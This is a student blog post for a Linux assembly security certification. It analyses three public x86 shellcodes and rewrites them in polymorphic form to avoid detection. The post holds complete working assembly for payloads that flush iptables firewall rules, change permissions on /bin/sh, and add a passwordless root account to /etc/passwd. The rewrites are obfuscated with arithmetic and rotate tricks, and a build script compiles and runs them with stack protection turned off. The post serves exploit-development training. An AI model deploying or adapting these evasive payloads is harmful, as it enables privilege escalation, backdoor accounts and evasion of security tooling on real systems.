This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-644
GitHub resource containing challenge files:
https://github.com/bl305/SLAE32
Local link to source files:
http://itfanatic.com/files/Challenge_06_Final.ZIP
This assignment is about analysing three shellcodes in the ShellStorm page and create polymorphic versions of them to provide the same functionality but avoid detection.
I have decided to analyze and rewrite the following 3 shellcodes:
Analysis and rewrite of "iptables flush"
I have set the IPTABLES to a random value to test:
root@assembly:/home/user# iptables -A INPUT -j ACCEPT root@assembly:/home/user# iptables -L Chain INPUT (policy DROP) target prot opt source destination ACCEPT all -- anywhere anywhere Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination
I have compiled the shellstorm shellcode using gcc and then extracted the assembly code using GDB intel syntax. The result of GDB analysis was the original code:
section .text global _start _start: xor eax,eax push eax push word 0x462d mov esi,esp push eax push dword 0x73656c62 push dword 0x61747069 push dword 0x2f6e6962 push dword 0x732f2f2f mov ebx,esp push eax push esi push ebx mov ecx,esp mov edx,eax mov al,0xb int 0x80
I have used this as a source code to be changed.
I have used a small perl command to read the hexa values:
perl -le 'print map {chr hex} qw/ 63 74 65 2f/'
I have used the following commands in the gdb to analyse the run of the shellcode:
set disassembly-flavor intel break *&code run disassemble define hook-stop disassemble info registers end
My modified code look like this:
section .text global _start _start: xor eax,eax push eax push word 0x462d mov esi,esp push eax ; push dword 0x73656c62 mov ebx, 0x61535A50 add ebx, 0x12121212 push ebx ; push dword 0x61747069 sub ebx, 0x11F0FBF9 push ebx ; push dword 0x2f6e6962 sub ebx, 0x32060707 push ebx ; push dword 0x732f2f2f add ebx, 0x43c0c5cd push ebx mov ebx,esp push eax push esi push ebx mov ecx,esp mov edx,eax ; mov al,0xb mov al,0xa inc al int 0x80
Changes: I have replaced the constants with a mathematical operations. See the commented lines and the replacement below each.
The script used to compile the thing can be found at the end of this post.
Size difference is ~35% increase.
Analysis and rewrite of "chmod /bin/sh"
I have compiled the shellstorm shellcode using gcc and then extracted the assembly code using GDB intel syntax. The result of GDB analysis was the original code:
section .text global _start _start: xor eax,eax xor ebx,ebx xor ecx,ecx push ebx push 0x68732f6e push 0x69622f2f mov ebx,esp mov cx,0x9fd mov al,0xf int 0x80 mov al,0x1 int 0x80
I have used this as a source code to be changed.
I have used a small perl command to read the hexa values:
perl -le 'print map {chr hex} qw/ 63 74 65 2f/'
I have used the following commands in the gdb to analyse the run of the shellcode:
set disassembly-flavor intel break *&code run disassemble define hook-stop disassemble info registers end
My modified code look like this:
section .text global _start _start: xor eax,eax xor ebx,ebx xor ecx,ecx push ebx ; push 0x68732f6e mov ebx, 0xD0E65EDC ror ebx, 1 push ebx ; push 0x69622f2f add ebx, 0xeeffc1 push ebx mov ebx,esp ; mov cx,0x9fd mov cx, 0x13fa ror cx, 1 ; mov al,0xf mov al, 0x1e ror al, 1 int 0x80 ; mov al,0x1 add al, 0x1 int 0x80
Changes: I have replaced the constants with a mathematical operations. See the commented lines and the replacement below each.
The script used to compile the thing can be found at the end of this post.
Size difference is ~50% decrease.
Analysis and rewrite of "add a root user into /etc/passwd with no password"
I have compiled the shellstorm shellcode using gcc and then extracted the assembly code using GDB intel syntax. The result of GDB analysis was the original code:
section .text global _start _start: xor eax,eax xor ebx,ebx xor ecx,ecx push ebx push 0x64777373 push 0x61702f63 push 0x74652f2f mov ebx,esp mov cx,0x401 mov al,0x5 int 0x80 mov ebx,eax xor eax,eax xor edx,edx push 0x68732f6e push 0x69622f2f push 0x3a2f3a3a push 0x303a303a push 0x3a626f62 mov ecx,esp mov dl,0x14 mov al,0x4 int 0x80 xor eax,eax mov al,0x6 int 0x80 xor eax,eax mov al,0x1 int 0x80
I have used this as a source code to be changed.
I have used a small perl command to read the hexa values:
perl -le 'print map {chr hex} qw/ 63 74 65 2f/'
I have used the following commands in the gdb to analyse the run of the shellcode:
set disassembly-flavor intel break *&code run disassemble define hook-stop disassemble info registers end
My modified code look like this:
section .text global _start _start: xor eax,eax ;xor ebx,ebx ;xor ecx,ecx mov eax,ecx ;push ebx push eax ;push 0x64777373 mov ebx, 0xC8EEE6E6 ror ebx, 1 mov dword [esp-4], ebx sub esp,4 ;push 0x61702f63 mov ebx, 0xC2E05EC6 ror ebx, 1 push ebx ;push 0x74652f2f mov ebx, 0xE8CA5E5E ror ebx, 1 push ebx mov ebx,esp mov cx,0x401 mov al,0x5 int 0x80 mov ebx,eax ;xor eax,eax xor edx,edx ;push 0x68732f6e mov ecx, 0xD0E65EDC ror ecx, 1 push ecx ;push 0x69622f2f mov ecx, 0xD0E65EDC ror ecx, 1 push ecx ;push 0x3a2f3a3a mov ecx, 0x745E7474 ror ecx, 1 push ecx ;push 0x303a303a mov ecx, 0x60746074 ror ecx, 1 push ecx ;push 0x3a626f62 mov ecx, 0x74C4DEC4 ror ecx, 1 push ecx mov ecx,esp mov dl,0x14 mov al,0x4 int 0x80 ;xor eax,eax mov al,0x6 int 0x80 ;xor eax,eax mov al,0x1 int 0x80
Changes: I have replaced the constants with a mathematical operations used previously. See the commented lines and the replacement below each.
In one case instead of pushing the value to the stack I have directly moved it onto it using "mov dword [esp-4], ebx". Stack pointer adjustment followed: "sub esp,4"
The script used to compile the thing can be found at the end of this post.
Size difference is ~26% increase.
Script to generate the shellcode from assembly:
#!/bin/bash echo '[+] Assembling with Nasm ... ' nasm -f elf32 -o $1.o $1.nasm echo '[+] Linking ...' ld -o $1 $1.o echo '[+] Objdump ...' #mycode1=`objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/' | sed 's/$/"/g'` #echo $mycode1 #mycode2=`objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/' | sed 's/$/"/g'` #echo $mycode2 >tmp.txt for i in `objdump -d $1|tr '\t' ' '|tr ' ' '\n'|grep -Eo '^[0-9a-f]{2}$'` ; do echo -n "\x$i" >>tmp.txt ; done mycode=`cat tmp.txt` #echo $mycode echo '[+] Assemble shellcode C ...' echo "#include<stdio.h>" >shellcode.c echo "#include<string.h>" >>shellcode.c echo "unsigned char code[] = \"\\" >>shellcode.c echo $mycode"\";" >>shellcode.c echo "main()" >>shellcode.c echo "{" >>shellcode.c echo "printf(\"Shellcode Length: %d\n\", strlen(code));" >>shellcode.c echo " int (*ret)() = (int(*)())code;" >>shellcode.c echo " ret();" >>shellcode.c echo "}" >>shellcode.c echo '[+] Compile shellcode.c' gcc -fno-stack-protector -z execstack shellcode.c -o shellcode echo '[+] Done!'